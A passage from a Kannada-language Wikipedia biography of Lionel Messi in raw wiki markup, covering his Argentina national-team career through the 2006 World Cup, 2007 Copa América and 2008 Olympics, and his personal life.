ವಿಲ್ಮೊಸ್ ಮೆಸ್ಸಿಯ ಅಂಗಿಯನ್ನು ಹಿಡಿದು ಎಳೆದಿದ್ದ. ತೀರ್ಮಾನವು ವಿವಾದಾಸ್ಪದವಾಗಿತ್ತು ಜೊತೆಗೆ[[ಮರಡೋನ]] ಕೂಡ ತೀರ್ಮಾನವನ್ನು ಪೂರ್ವನಿಯೋಜಿತವೆಂದು ವಾದಿಸಿದ.<ref>{{cite web|url=http://news.bbc.co.uk/sport1/hi/football/world_football/4172400.stm|title=Messi handles 'new Maradona' tag|publisher=BBC Sport| date=2005-08-22| accessdate=2009-07-07| last=Vickery |first=Tim}}</ref><ref>{{cite web|url=http://english.people.com.cn/200508/20/eng20050820_203655.html|title=Argentine striker Messi recalled for World Cup qualifier|publisher=''People's Daily Online''| date=2005-08-20| accessdate=2009-07-07}}</ref> ಸೆಪ್ಟೆಂಬರ್ 3ರಂದು ಪೆರುಗ್ವೆ ವಿರುದ್ಧ ಅರ್ಜಂಟೀನಾದ 1-0 ವಿಶ್ವಕಪ್ ಅರ್ಹತಾ ಸುತ್ತಿನ ಪಂದ್ಯದ ಸೋಲಿನ ಸಂದರ್ಭದಲ್ಲಿ ತಂಡಕ್ಕೆ ಹಿಂತಿರುಗಿದ್ದ. ಪಂದ್ಯಕ್ಕೆ ಮುಂಚೆ ಅವನು "ಇದು ನನಗೆ ಮತ್ತೊಂದು ಚೊಚ್ಚಲ ಪ್ರದರ್ಶನವೆಂದು ಹೇಳಿದ್ದನು. ಮೊದಲನೆಯದು ಸ್ವಲ್ಪ ಚಿಕ್ಕದಾಗಿತ್ತು."<ref>{{cite web|url=http://soccernet.espn.go.com/preview?id=178848&cc=5739|title=Messi tries again as Argentina face Paraguay|publisher=ESPN Soccernet|date=2005-09-02|accessdate=2009-07-07|archive-date=2011-06-28|archive-url=https://web.archive.org/web/20110628224026/http://soccernet.espn.go.com/preview?id=178848&cc=5739|url-status=dead}}</ref> ನಂತರ ಅವನು ತನ್ನ ಮೊದಲ ಪಂದ್ಯವನ್ನು ಅರ್ಜಂಟೀನಾ ಪರವಾಗಿ [[ಪೆರು]] ವಿರುದ್ಧ ಆಡುತ್ತಾನೆ. ಪಂದ್ಯದ ನಂತರ ಪೆಕರ್‌ಮ್ಯಾನ್ ಮೆಸ್ಸಿಯನ್ನು "ಅಮೂಲ್ಯ ರತ್ನ" ವೆಂದು ವರ್ಣಿಸುತ್ತಾನೆ.<ref>{{cite web|url=http://www.rediff.com/sports/2005/oct/10messi.htm|title=Messi is a jewel says Argentina coach|publisher=Rediff| date=2005-10-10| accessdate=2009-07-07|last=Homewood|first=Brian}}</ref> ಮಾರ್ಚ್ 28, 2009ರಂದು, [[ವೆನೆಜುವೆಲ]] ವಿರುದ್ಧ ವಿಶ್ವ ಕಪ್ ಅರ್ಹತಾ ಸುತ್ತಿನ ಪಂದ್ಯದಲ್ಲಿ, ಮೆಸ್ಸಿ ಅರ್ಜಂಟೀನಾ ತಂಡದ 10ನೇ ಸಂಖ್ಯೆಯ ಜೆರ್ಸಿಯನ್ನು ಮೊದಲ ಬಾರಿಗೆ ಧರಿಸುತ್ತಾನೆ. ಈ ಪಂದ್ಯವು ಡೀಗೋ ಮರಡೋನಗೆ ಅರ್ಜಂಟೀನಾ ತಂಡದ ತರಬೇತುದಾರನಾಗಿ ಮೊದಲ ಅಧಿಕೃತ ಪಂದ್ಯವಾಗಿತ್ತು. ಅರ್ಜಂಟೀನಾ ಪಂದ್ಯವನ್ನು 4-0 ಗೋಲುಗಳ ಅಂತರದಿಂದ ಗೆದ್ದಿತು. ಲಿಯೋನೆಲ್ ಮೆಸ್ಸಿ ಆರಂಭಿಕ ಗೋಲನ್ನು ಗಳಿಸಿದ.<ref>{{cite web| url = http://soccernet.espn.go.com/report?id=230046&cc=5739| title = Argentina 4-0 Venezuela: Messi the star turn| date = 2009-03-28| accessdate = 2009-07-07| publisher = Allaboutfcbarcelona.com| archive-date = 2012-10-24| archive-url = https://web.archive.org/web/20121024081458/http://soccernet.espn.go.com/report?id=230046&cc=5739| url-status = dead}}</ref> === 2006ರ FIFA ವಿಶ್ವ ಕಪ್‌ === ಮೆಸ್ಸಿಯು ತನಗಾದ ಗಾಯದಿಂದ 2005–06 ರ ಅಂತ್ಯದಲ್ಲಿ ಕ್ರೀಡಾಋತುವಿನಿಂದ ಎರಡು ತಿಂಗಳುಗಳ ಕಾಲ ಹೊರಗುಳಿಯಬೇಕಾಯಿತು. ಇದರಿಂದ [[ವಿಶ್ವ ಕಪ್]] ನಲ್ಲಿ ಅವನ ಉಪಸ್ಥಿತಿಗೆ ಹಾನಿವುಂಟುಮಾಡಿತು. ಆದಾಗ್ಯೂ, ಮೆಸ್ಸಿಯನ್ನು ಮೇ 15, 2006ರ ಪಂದ್ಯಾವಳಿಗೆ ಅರ್ಜಂಟೀನಾ ತಂಡಕ್ಕೆ ಆಯ್ಕೆ ಮಾಡಲಾಯಿತು. ಅವನು ವಿಶ್ವಕಪ್‌ಗೆ ಮುಂಚೆ ಅರ್ಜಂಟೀನಾ U-20 ತಂಡದ ವಿರುದ್ಧ ಅಂತಿಮ ಪಂದ್ಯದಲ್ಲಿ 15 ನಿಮಿಷಗಳ ಕಾಲ ಆಟ ಆಡಿದ ಜೊತೆಗೆ 64ನೇ ನಿಮಿಷದಿಂದ [[ಅಂಗೋಲ]] ವಿರುದ್ಧ ಸೌಹಾರ್ದ ಪಂದ್ಯವನ್ನು ಆಡಿದ.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/world_cup_2006/teams/argentina/5047440.stm| title=Messi comes of age|publisher=BBC Sport|date=2006-06-05|accessdate=2009-07-07| last = Vickery | first = Tim }}</ref><ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/world_cup_2006/teams/argentina/5023884.stm| title=Argentina allay fears over Messi|publisher=BBC Sport|date=2006-05-30|accessdate=2009-07-07}}</ref> ಅವನು [[ಐವರಿ ಕೋಸ್ಟ್]] ವಿರುದ್ಧ [[ಅರ್ಜಂಟೀನಾ]]ತಂಡದ ಆರಂಭದ ಪಂದ್ಯದ ಗೆಲುವನ್ನು ಬದಲಿ ಆಟಗಾರನ ಸ್ಥಾನದಲ್ಲಿ ಕುಳಿತು ವೀಕ್ಷಿಸಿದ.[200] [[ಸೆರ್ಬಿಯ]]ವಿರುದ್ಧದ ಮುಂದಿನ ಪಂದ್ಯದಲ್ಲಿ, ಮೆಸ್ಸಿ ವಿಶ್ವಕಪ್‌ನಲ್ಲಿ ಅರ್ಜಂಟೀನಾವನ್ನು ಪ್ರತಿನಿಧಿಸಿದ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರ. ಅವನು 74ನೇ ನಿಮಿಷದಲ್ಲಿ [[ಮಾಕ್ಸಿ ರೋಡ್ರಿಗ್ಸ್]] ನ ಬದಲಿ ಆಟಗಾರನಾಗಿ ಬಂದ. ಅವನು ಮೈದಾನಕ್ಕೆ ಪ್ರವೇಶಿಸಿದ ಕೆಲವೇ ನಿಮಿಷಗಳಲ್ಲಿ [[ಹರ್ನಾನ್ ಕ್ರೆಸ್ಪೋ]]ಗೆ ಗೋಲು ಹೊಡೆಯಲು ಸಹಾಯ ಮಾಡಿ 6-0 ಗೆಲುವಿನ ಪಂದ್ಯದಲ್ಲಿ ಕಡೆಯ ಗೋಲು ಗಳಿಸುತ್ತಾನೆ. ಈ ಮೂಲಕ ಅವನು ಪಂದ್ಯಾವಳಿಯಲ್ಲಿ ಗೋಲು ಹೊಡೆದ ಅತ್ಯಂತ ಕಿರಿಯ ಜೊತೆಗೆ [[ವಿಶ್ವ ಕಪ್]] ಇತಿಹಾಸದಲ್ಲಿ ಗೋಲು ಗಳಿಸಿದ ಆರನೇ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರನೆನಿಸಿಕೊಂಡಿದ್ದಾನೆ.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/world_cup_2006/4853028.stm| title=Argentina 6-0 Serbia & Montenegro|publisher=BBC Sport|date=2006-06-16|accessdate=2009-07-07}}</ref> ಮೆಸ್ಸಿ [[ನೆದರ್ಲ್ಯಾಂಡ್ಸ್]] ವಿರುದ್ಧ ಅರ್ಜಂಟೀನಾ 0-0 ಸಮಾಂಕಗಳ ಪಂದ್ಯದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಅರ್ಜಂಟೀನಾದಲ್ಲಿ ಶುರು ಮಾಡಿದ.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/world_cup_2006/4853328.stm| title=Holland 0-0 Argentina|publisher=BBC Sport|date=2006-06-21|accessdate=2009-07-07}}</ref> ಅದರ ನಂತರ [[ಮೆಕ್ಸಿಕೋ ವಿರುದ್ಧದ ಪಂದ್ಯ]]ದಲ್ಲಿ, ಮೆಸ್ಸಿ 84ನೇ ನಿಮಿಷದಲ್ಲಿ ಬದಲಿ ಆಟಗಾರನಾಗಿ ಬಂದ ಜೊತೆಗೆ ಪಂದ್ಯವು 1-1 ಸಮಾಂಕಗಳನ್ನು ಗಳಿಸಿತು. ಅರ್ಜಂಟೀನಾಗೆ [[ಹೆಚ್ಚುವರಿ ಸಮಯ]]ದಲ್ಲಿ ಗೋಲೊಂದರ ಅಗತ್ಯವಿತ್ತು. ಅವನು ಗೋಲು ಗಳಿಸಿದಂತೆ ಕಂಡುಬಂದರೂ,[[ಆಫ್‌ಸೈಡ್]] ಎಂದು ತೀರ್ಮಾನಿಸಲಾಯಿತು. ತರಬೇತುದಾರ ಜೋಸ್ ಪೆಕರ್ಮಾನ್ [[ಜರ್ಮನಿ]] ವಿರುದ್ಧದ ಕ್ವಾರ್ಟರ್-ಫೈನಲ್ ಪಂದ್ಯದಲ್ಲಿ ಮೆಸ್ಸಿಯನ್ನು ಆಡಲಿಳಿಸದೇ ವಿಶ್ರಾಂತಿ ನೀಡಿದ. ಈ ಪಂದ್ಯದಲ್ಲಿ ತಂಡ [[ಪೆನಾಲ್ಟಿ ಶೂಟ್ ಔಟ್]] ನಿಂದಾಗಿ 4-2 ಗೋಲುಗಳಿಂದ ಸೋತಿತು.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/world_cup_2006/4991602.stm|title=Germany 1-1 Argentina|publisher=BBC Sport|date=2006-06-30|accessdate=2009-07-07}}</ref> === 2007 ಕೊಪಾ ಅಮೇರಿಕಾ === [[ಚಿತ್ರ:Messi in Copa America 2007.jpg|thumb|220px|ಮೆಸ್ಸಿ 2007ರ ಕೊಪಾ ಅಮೇರಿಕಾ ಪಂದ್ಯದಲ್ಲಿ]] ಮೆಸ್ಸಿ ತನ್ನ ಮೊದಲ ಪಂದ್ಯವನ್ನು ಜೂನ್ 29ರಂದು 2007ರಂದು [[ಕೊಪಾ ಅಮೆರಿಕಾ 2007]] ಪಂದ್ಯಾವಳಿಯಲ್ಲಿ ಆಡಿದ. ಇದರಲ್ಲಿ [[ಅರ್ಜಂಟೀನಾ]] [[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್]] ತಂಡವನ್ನು ಮೊದಲ ಪಂದ್ಯದಲ್ಲಿ 4-1 ಗೋಲುಗಳಿಂದ ಪರಾಭವಗೊಳಿಸಿತು. ಈ ಪಂದ್ಯದಲ್ಲಿ, ಅವನು ಗೋಲನ್ನು ಗಳಿಸುವ ಒಬ್ಬ ಸಮರ್ಥ ಆಟಗಾರನ ಲಕ್ಷಣವನ್ನು ತೋರಿದ. ಅವನು ತನ್ನ ಸಹ ಆಟಗಾರ [[ಹರ್ನಾನ್ ಕ್ರೆಸ್ಪೋ]]ಗೆ ಗೋಲು ಹೊಡೆಯಲು ಅವಕಾಶ ಮಾಡಿಕೊಡುವುದರ ಜೊತೆಗೆ ಹಲವಾರು ಹೊಡೆತಗಳಿಗೆ ಗುರಿ ಇರಿಸಿದ. ಟೆವೆಸ್ ಮೆಸ್ಸಿಗೆ ಬದಲಿ ಆಟಗಾರನಾಗಿ 79ನೆ ನಿಮಿಷದಲ್ಲಿ ಮೈದಾನಕ್ಕೆ ಬಂದು ಕೆಲವು ನಿಮಿಷಗಳ ನಂತರ ಗೋಲನ್ನು ಗಳಿಸಿದ.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/internationals/6252156.stm|title=Tevez Nets In Argentina Victory|publisher=BBC Sport|date=2007-06-29|accessdate=2008-10-11}}</ref> ಅವನ ಎರಡನೇ ಪಂದ್ಯವು [[ಕೊಲಂಬಿಯ]] ವಿರುದ್ಧವಾಗಿತ್ತು. ಇದರಲ್ಲಿ ಅವನು ಒಂದು ಪೆನಾಲ್ಟಿಯನ್ನು ಗಳಿಸಿದ. ನಂತರ ಕ್ರೆಸ್ಪೋ ಇದನ್ನು 1-1 ಸಮಾಂಕಗಳಿಗೆ ಪಂದ್ಯವನ್ನು ಮಾರ್ಪಡಿಸಿದ. ಅವನು ಅರ್ಜಂಟೀನಾದ ಎರಡನೇ ಗೋಲನ್ನು ಗಳಿಸುವಲ್ಲಿ ಕೂಡ ಪಾತ್ರ ವಹಿಸಿದ. ಇದರಲ್ಲಿ ಅವನನ್ನು ಗೆರೆ ದಾಟಿ ಆಟದ ನಿಯಮ ಉಲ್ಲಂಘನೆ ಮಾಡಿದ್ದಾನೆಂದು ಹೇಳಲಾಯಿತು. ಇದರಿಂದ [[ಜುಆನ್ ರೋಮನ್ ರಿಕ್ಎಲ್ಮ್]] ಒಂದು ಫ್ರೀ ಕಿಕ್‌ನಿಂದ ಗೋಲು ಗಳಿಸಲು ಅವಕಾಶ ನೀಡಿತು ಮತ್ತು ಅರ್ಜಂಟೀನಾ 3-1 ಮುನ್ನಡೆ ಸಾಧಿಸಿತು. ಪಂದ್ಯದ ಅಂತಿಮ ಸ್ಕೋರ್ 4-2 ಗೋಲುಗಳು ಅರ್ಜಂಟೀನಾ ಪರವಾಗಿ ಇತ್ತು ಜೊತೆಗೆ ತಂಡಕ್ಕೆ ಪಂದ್ಯಾವಳಿಯ ಕ್ವಾರ್ಟರ್ ಫೈನಲ್ಸ್‌ನಲ್ಲಿ ಅವಕಾಶವನ್ನು ಖಾತರಿ ಮಾಡಿತು.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/internationals/6263888.stm|title=Argentina into last eight of Copa |publisher=BBC Sport|date=2007-07-03|accessdate=2008-10-11}}</ref> [[ಪೆರುಗ್ವೆ]] ವಿರುದ್ಧದ ಮೂರನೇ ಪಂದ್ಯದಲ್ಲಿ, ಕ್ವಾರ್ಟರ್-ಫೈನಲ್ಸ್‌ನಲ್ಲಿ ಈಗಾಗಲೇ ಆಡಲು ತಂಡವು ಅರ್ಹತೆ ಪಡೆದಿದ್ದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಮೆಸ್ಸಿಗೆ ತರಬೇತುದಾರ ವಿಶ್ರಾಂತಿ ನೀಡಿದ. ಅವನು 64ನೇ ನಿಮಿಷದಲ್ಲಿ [[ಎಸ್ಟೆಬನ್ ಕಮ್ಬಿಅಸ್ಸೊ]]ಗೆ ಬದಲಿ ಆಟಗಾರನಾಗಿ ಬಂದ. ಆಗ ತಂಡದ ಸ್ಕೋರ್ 0-0 ಗೋಲುಗಳಾಗಿತ್ತು. ಅವನು 79ನೇ ನಿಮಿಷದಲ್ಲಿ [[ಜೇವಿಯರ್ ಮಾಸ್ಕರಾನೋ]]ಗೆ ಗೋಲು ಹೊಡೆಯಲು ಅವಕಾಶ ಸೃಷ್ಟಿಸಿಕೊಟ್ಟ.<ref>{{cite news|url=http://www.conmebol.com/competiciones_evento_reporte.jsp?evento=1055&ano=2007&dv=1&flt=C&id=18&slangab=E|title=Argentina-Paraguay|publisher=Conmebol|date=2007-07-05|accessdate=2009-05-28|archive-date=2007-09-29|archive-url=https://web.archive.org/web/20070929133942/http://www.conmebol.com/competiciones_evento_reporte.jsp?evento=1055&ano=2007&dv=1&flt=C&id=18&slangab=E|url-status=dead}}</ref> ಕ್ವಾರ್ಟರ್-ಫೈನಲ್ಸ್‌ನಲ್ಲಿ, [[ಅರ್ಜಂಟೀನಾ]] ಪೆರು ತಂಡವನ್ನು ಎದುರುಗೊಂಡಾಗ, ಮೆಸ್ಸಿ ಪಂದ್ಯದ ಎರಡನೇ ಗೋಲನ್ನು ರಿಕ್ಎಲ್ಮ್ ಚೆಂಡಿನ ವರ್ಗಾವಣೆಯಿಂದ ಗಳಿಸಿದ. ತಂಡವು 4-0 ಗೋಲುಗಳಿಂದ ವಿಜಯ ಸಾಧಿಸಿತು.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/internationals/6282908.stm|title=Argentina and Mexico reach semis|publisher=BBC Sport|date=2007-07-09|accessdate=2008-10-11}}</ref> [[ಮೆಕ್ಸಿಕೋ]] ವಿರುದ್ಧದ ಸೆಮಿ-ಫೈನಲ್ ಪಂದ್ಯದಲ್ಲಿ, ಮೆಸ್ಸಿ [[ಒಸ್ವಾಲ್ಡೋ ಸಾಂಚೆಸ್]] ವಿರುದ್ಧ ಎತ್ತರದಲ್ಲಿ ಚೆಂಡನ್ನು ಬಾರಿಸಿದ. ಇದರಿಂದ ಅರ್ಜಂಟೀನಾ ತಂಡವು 3-0 ಅಂತರದಿಂದ ಜಯಗಳಿಸಿ ಫೈನಲ್ ಪ್ರವೇಶಿಸಿತು.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/internationals/6294930.stm|title=Messi's Magic Goal|publisher=BBC Sport|date=2007-07-12|accessdate=2008-10-11}}</ref> ಆದರೆ ಫೈನಲ್ ನಲ್ಲಿ ಅರ್ಜಂಟೀನಾ [[ಬ್ರೆಜಿಲ್]] ವಿರುದ್ಧ 3-0 ಗೋಲುಗಳ ಅಂತರದಿಂದ ಪರಾಭವಗೊಂಡಿತು.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/6899694.stm|title=Brazil victorious in Copa America|publisher=BBC Sport|date=2007-07-16|accessdate=2009-05-28}}</ref> [[ಚಿತ್ರ:Messi olympics-soccer-7.jpg|thumb|left|220px|ಮೆಸ್ಸಿ 2008ರ ಒಲಂಪಿಕ್ಸ್‌ನಲ್ಲಿ ಬ್ರೆಜಿಲ್ ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ]] === 2008 ಬೇಸಿಗೆ ಒಲಿಂಪಿಕ್ಸ್‌ === ಮೆಸ್ಸಿಯನ್ನು [[2008ರ ಒಲಂಪಿಕ್ಸ್]]ನಲ್ಲಿ [[ಅರ್ಜಂಟೀನಾ]] ಪರ ಆಡಲು ನಿಷೇಧಿಸಿದ್ದ ಬಾರ್ಸಿಲೋನಾ<ref>{{cite news|url=http://www.telegraph.co.uk/sport/othersports/olympics/2510034/Lionel-Messi-out-of-Olympics-after-Barcelona-win-court-appeal-against-Fifa.html|title=Lionel Messi out of Olympics after Barcelona win court appeal against Fifa|publisher=''Daily Telegraph''|date=2008-08-06|accessdate=2009-05-27|archive-date=2011-06-29|archive-url=https://web.archive.org/web/20110629193256/http://www.telegraph.co.uk/sport/othersports/olympics/2510034/Lionel-Messi-out-of-Olympics-after-Barcelona-win-court-appeal-against-Fifa.html|url-status=dead}}</ref>, [[ಜೋಸೆಫ್ ಗಾರ್ಡಿಯೋಲಾ]] ಜತೆ ಮಾತುಕತೆ ನಡೆಸಿದ ನಂತರ ಅವನಿಗೆ ಅವನಿಗೆ ಆಡಲು ಅವಕಾಶ ಕಲ್ಪಿಸಿತು.<ref name="Messi Olympics">{{cite news|url=http://afp.google.com/article/ALeqM5hBwBdQawHH84xSfUkq2uo3w1nwvA|title=Barcelona give Messi Olympics thumbs-up|publisher=AFP|date=2008-08-07|accessdate=2009-05-27|archiveurl=https://web.archive.org/web/20110711111228/http://afp.google.com/article/ALeqM5hBwBdQawHH84xSfUkq2uo3w1nwvA|archivedate=2011-07-11}}</ref> ಅವನು ಅರ್ಜಂಟೀನಾ ತಂಡ ಸೇರಿ [[ಐವರಿ ಕೋಸ್ಟ್]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ 2-1 ಗೋಲುಗಳ ಜಯ ಗಳಿಸುವುದರೊಂದಿಗೆ ತಂಡಕ್ಕೆ ಮೊದಲ ಗೋಲನ್ನು ಗಳಿಸಿಕೊಟ್ಟ.<ref name="Messi Olympics"/> ಅವನು ನಂತರ ಪ್ರಾರಂಭಿಕ ಗೋಲನ್ನು ಗಳಿಸುವುದರ ಜೊತೆಗೆ [[ಏಂಜಲ್ ಡಿ ಮರಿಯಾ]]ಗೆ ಎರಡನೇ ಗೋಲು ಹೊಡೆಯಲು ಸಹಾಯಮಾಡಿದ. ಇದರಿಂದ ತಂಡವು ಹೆಚ್ಚುವರಿ ಅವಧಿಯ ಆಟದಲ್ಲಿ 2-1 ಗೋಲುಗಳಿಂದ [[ನೆದರ್ಲ್ಯಾಂಡ್ಸ್]] ವಿರುದ್ಧ ಜಯಗಳಿಸಿತು.<ref>{{cite news|url=http://www.fifa.com/mensolympic/matches/round=250022/match=300051809/summary.html|title=Messi sets up Brazil semi|publisher=FIFA|date=2008-08-16|accessdate=2009-05-27|archive-date=2009-04-12|archive-url=https://web.archive.org/web/20090412024404/http://www.fifa.com/mensolympic/matches/round=250022/match=300051809/summary.html|url-status=dead}}</ref> ಅವನು ಅರ್ಜಂಟೀನಾದ ಎದುರಾಳಿ [[ಬ್ರೆಜಿಲ್]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ಆಟವಾಡಿದ. ಇದರಲ್ಲಿ ಅರ್ಜಂಟೀನಾ 3-0 ಗೋಲುಗಳಿಂದ ಜಯಗಳಿಸುವುದರೊಂದಿಗೆ ಫೈನಲ್ ಪ್ರವೇಶಿಸಿತು.<ref>{{cite news|url=http://www.examiner.com/x-642-Soccer-Examiner~y2008m8d19-Argentina-Takes-Down-Brazil-30-in-Olympic-Semifinal-Nigera-Awaits-in-Final|title=Argentina Takes Down Brazil 3-0|last=Baumgartner|first=Jesse|publisher=Examiner|date=2008-08-19|accessdate=2009-05-27|archive-date=2010-04-23|archive-url=https://web.archive.org/web/20100423132354/http://www.examiner.com/x-642-Soccer-Examiner~y2008m8d19-Argentina-Takes-Down-Brazil-30-in-Olympic-Semifinal-Nigera-Awaits-in-Final|url-status=dead}}</ref> ಚಿನ್ನದ ಪದಕದ ಪಂದ್ಯದಲ್ಲಿ, ಮೆಸ್ಸಿ ಮತ್ತೊಮ್ಮೆ ಡಿ ಮರಿಯಾನಿಗೆ ಏಕೈಕ ಗೋಲು ಹೊಡೆಯಲು ಸಹಾಯಮಾಡುತ್ತಾನೆ. ಇದರಲ್ಲಿ ತಂಡವು [[ನೈಜೀರಿಯ]] ವಿರುದ್ಧ 1-0 ಗೋಲುಗಳ ಅಂತರದಿಂದ ಜಯ ಗಳಿಸಿತು.<ref>{{cite news|url=http://www.usatoday.com/sports/olympics/2008-08-23-860591452_x.htm|title=Argentina beats Nigeria 1-0 for Olympic gold| last = Millward | first = Robert |publisher=''USA Today''|date=2008-08-23|accessdate=2009-05-27}}</ref> == ವೈಯಕ್ತಿಕ ಜೀವನ == ಮೆಸ್ಸಿ ಒಂದು ಹಂತದಲ್ಲಿ ಮಕಾರೆನ ಲೆಮೊಸ್ ಜೊತೆ ಪ್ರೇಮ ಸಂಬಂಧ ಹೊಂದಿದ್ದ. ಅವಳೂ ಕೂಡ ಅವನ ತವರೂರು [[ರೊಸಾರಿಯೋ]] ದವಳಾಗಿದ್ದಳು. ಅವನು ಹೇಳುವಂತೆ ಹುಡುಗಿಯ ತಂದೆಯಿಂದ ಅವಳ ಪರಿಚಯವಾಯಿತು. [[2006ರ ವಿಶ್ವ ಕಪ್]] ಗೆ ಕೆಲ ದಿನಗಳ ಮುಂಚೆ ಅವನು ತನಗಾದ ಗಾಯದಿಂದ ಚೇತರಿಸಿಕೊಳ್ಳಲು ರೊಸಾರಿಯೋಗೆ ಹಿಂದಿರುಗಿದಾಗ ಅವಳನ್ನು ಪರಿಚಯಿಸಲಾಯಿತು.<ref>{{cite news|url=http://www.gente.com.ar/nota.php?ID=11359|title=Lionel me prometió venir a mi cumple de quince después del Mundial|publisher=Gente Online|accessdate=2009-06-18|language=Spanish|archive-date=2013-01-27|archive-url=https://web.archive.org/web/20130127191019/http://www.gente.com.ar/nota.php?ID=11359|url-status=dead}}</ref><ref>{{cite news|url=http://www.vefutbol.com.mx/notas/16849.html|title=Aún le mueve el tapete a Messi|publisher=''El Universal''|date=2008-06-19|accessdate=2009-06-18|language=Spanish|archive-date=2009-05-31|archive-url=https://web.archive.org/web/20090531053417/http://www.vefutbol.com.mx/notas/16849.html|url-status=dead}}</ref> ಅವನಿಗೆ ಇದಕ್ಕೂ ಮುಂಚೆ ಅರ್ಜಂಟೀನಾದ ರೂಪದರ್ಶಿಯ [[ಲೂಸಿಯಾನ ಸಲಸರ್]] ಜೊತೆ ಸಂಪರ್ಕವಿತ್ತು.<ref>{{cite news|url=http://www.cronicaviva.com.pe/content/view/45050/1/|title= Luciana Salazar y Messi serían pareja|publisher=Crónica Viva|date=2008-06-19|accessdate=2009-06-18|language=Spanish|archiveurl=https://web.archive.org/web/20090608003136/http://www.cronicaviva.com.pe/content/view/45050/1/|archivedate=2009-06-08}}</ref><ref name="Messi y Antonella pasean"/> ಜನವರಿ 2009ರಲ್ಲಿ [[ಕೆನಾಲ್ 33]] ವಾಹಿನಿಯ "ಹ್ಯಾಟ್ ಟ್ರಿಕ್ ಬಾರ್ಸ" ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ಅವನು ಹೇಳುತ್ತಾನೆ: "ನನಗೆ ಒಬ್ಬಳು ಗೆಳತಿ ಇದ್ದಾಳೆ ಮತ್ತು ಅವಳು ಅರ್ಜಂಟೀನಾದಲ್ಲಿ ವಾಸಿಸುತ್ತಾಳೆ, ನಾನು ಆರಾಮವಾಗಿದ್ದೇನೆ ಜೊತೆಗೆ ಖುಷಿಯಿಂದಿದ್ದೇನೆ".<ref name="Messi y Antonella pasean">{{cite news|url=http://www.elperiodico.com/default.asp?idpublicacio_PK=46&idioma=CAS&idnoticia_PK=590154&idseccio_PK=1028|title= Messi y Antonella pasean por el Carnaval de Sitges su noviazgo|publisher=''El Periódico de Catalunya''|date=2009-02-25|accessdate=2009-06-18|language=Spanish}}</ref> ಅವನು ಅಂಟೋನೆಲ್ಲ ರೋಕ್ಕುಸ್ಸೋ<ref name="Roccuzzo"/> ಎಂಬ ಹುಡುಗಿಯ ಜೊತೆಗೆ ಬಾರ್ಸಿಲೋನಾ-ಎಸ್ಪಾನ್ಯೋಲ್ ಕುದುರೆ ಪಂದ್ಯದ ನಂತರ [[ಸಿಟ್ಗೆಸ್]] ಉತ್ಸವದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದ. ರೋಕ್ಕುಸ್ಸೋಗೆ ಕೂಡ ರೊಸಾರಿಯೋ ತವರೂರು.<ref>{{cite news|url=http://www.taringa.net/posts/noticias/2213473/La-verdad-sobre-la-nueva-novia-de-Messi__.html|title= La verdad sobre la nueva novia de Messi|publisher=Taringa|date=2009-02-24|accessdate=2009-06-18|language=Spanish}}</ref> ಅವರು 2010ರ ಕೊನೆಯಲ್ಲಿ [[ವಿವಾಹ]] ಮಾಡಿಕೊಳ್ಳಲು ಯೋಜಿಸಿದ್ದಾರೆ.<ref name="Roccuzzo">{{cite news|url=http://www.calciomercato.it/news/46787/Messi-a-dicembre-sogni-doro!.html|title=Messi, a dicembre... sogni d'oro|publisher=Calcio Mercato News|date=2009-04-21|accessdate=2009-07-13|language=Italian|archive-date=2010-10-30|archive-url=https://web.archive.org/web/20101030032522/http://www.calciomercato.it/news/46787/Messi-a-dicembre-sogni-doro!.html|url-status=dead}}</ref> ಅವನು [[ಪ್ರೊ ಈವಲ್ಯೂಶನ್ ಸಾಕರ್ 2009]]ರ ವಿಡಿಯೋ ಗೇಮ್‌ನ ಮುಖಪುಟದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ ಜೊತೆಗೆ ಆಟದ ಪ್ರಚಾರ ಅಭಿಯಾನಗಳಲ್ಲಿ ತೊಡಗಿಸಿಕೊಂಡಿದ್ದಾನೆ.<ref>{{cite news|url=http://www.gamezine.co.uk/news/game-types/sports/football/konami-names-messi-as-face-pes-2009-$1234471.htm|title=Konami names Messi as face of PES 2009|publisher=Gamezine.co.uk|date=2008-08-01|accessdate=2009-06-09|archive-date=2010-05-29|archive-url=https://web.archive.org/web/20100529044550/http://www.gamezine.co.uk/news/game-types/sports/football/konami-names-messi-as-face-pes-2009-$1234471.htm|url-status=dead}}</ref><ref>{{cite news|url=http://www.pesunites.com/eng/index.htm|title=PES Unites - Messi|publisher=PESunites.com|accessdate=2009-06-09}}</ref> [[ಫಾರ್ನಾನ್ಡೋ ಟಾರ್ರೆಸ್]] ಜೊತೆ ಮೆಸ್ಸಿ ಕೂಡ [[ಪ್ರೊ ಈವಲ್ಯೂಶನ್ ಸಾಕರ್ 2010]]ರ ಮುಖಪುಟದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ ಜೊತೆಗೆ [[ಚಲನೆಗಳ ಛಾಯಾಗ್ರಹಣ]] ಮತ್ತು [[ಚಲನಚಿತ್ರ ಜಾಹಿರಾತಿನ ತುಣುಕು]]ಗಳಲ್ಲಿ ಭಾಗವಹಿಸಿದ್ದಾರೆ.<ref>{{cite news|url=http://uk.games.konami-europe.com/blog.do;jsessionid=E3F32E431E73A1D6AF0B71D695498692#blog-entry-116|title=Motions and Emotions in 